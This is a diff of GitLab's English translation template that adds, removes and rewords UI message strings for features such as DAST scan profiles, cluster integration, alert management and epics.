@@ -924,7 +963,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -970,6 +1024,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1204,15 +1261,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1276,7 +1324,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1294,6 +1342,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1396,6 +1447,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1507,6 +1561,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1541,12 +1598,6 @@ msgstr[3] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1661,6 +1712,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1673,6 +1727,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1685,6 +1742,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1964,6 +2024,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1979,6 +2042,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2208,6 +2274,9 @@ msgstr[3] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2238,7 +2307,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2295,9 +2364,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2310,6 +2376,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2352,16 +2421,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2391,7 +2457,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2490,6 +2556,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2637,6 +2706,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2703,6 +2775,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2775,9 +2850,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2919,13 +3003,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2952,12 +3039,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -3036,6 +3129,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3259,6 +3355,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3271,6 +3370,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3286,9 +3388,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3397,7 +3496,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3409,9 +3508,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3424,6 +3520,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3687,7 +3786,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3765,6 +3864,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3891,7 +3993,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -4005,6 +4107,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -4074,13 +4179,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4275,6 +4383,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4449,6 +4560,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4482,10 +4596,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4506,7 +4620,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4692,9 +4806,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4920,7 +5031,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -5088,9 +5199,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5196,6 +5313,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5229,19 +5349,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5289,13 +5415,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5313,6 +5442,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5352,15 +5484,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5385,6 +5514,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5568,9 +5700,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5766,7 +5895,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5985,12 +6114,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -6030,15 +6162,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -6063,6 +6207,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -6078,9 +6225,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -6111,7 +6255,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6288,6 +6432,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6490,7 +6640,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6949,9 +7099,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -7036,6 +7183,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -7048,6 +7198,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -7072,15 +7225,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -7111,6 +7270,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -7126,6 +7288,13 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Create"
msgstr ""
@@ -7216,6 +7385,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7252,6 +7424,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7276,6 +7451,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7447,6 +7625,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7543,6 +7724,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7709,6 +7899,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7739,25 +7932,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7766,7 +7989,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7778,6 +8010,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7787,12 +8022,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7865,7 +8157,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7943,10 +8235,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -8003,6 +8295,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -8024,15 +8319,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -8042,6 +8346,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -8070,6 +8377,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -8080,6 +8394,9 @@ msgstr[3] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -8092,6 +8409,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -8110,6 +8430,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -8150,8 +8473,8 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
